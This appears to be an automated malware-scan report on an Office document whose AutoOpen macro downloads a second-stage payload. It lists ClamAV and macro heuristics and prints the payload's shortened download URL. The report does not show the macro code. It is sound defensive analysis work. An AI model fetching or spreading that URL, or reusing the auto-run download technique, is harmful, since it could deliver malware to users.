The sample is a malicious Office document containing a VBA macro. The AutoOpen macro executes a GetObject call, which attempts to download and execute a second-stage payload from the URL https://goo.gl/VzY7J3. This indicates a downloader or droppper functionality, commonly used to deliver further malware.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6347404-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6347404-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code

  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
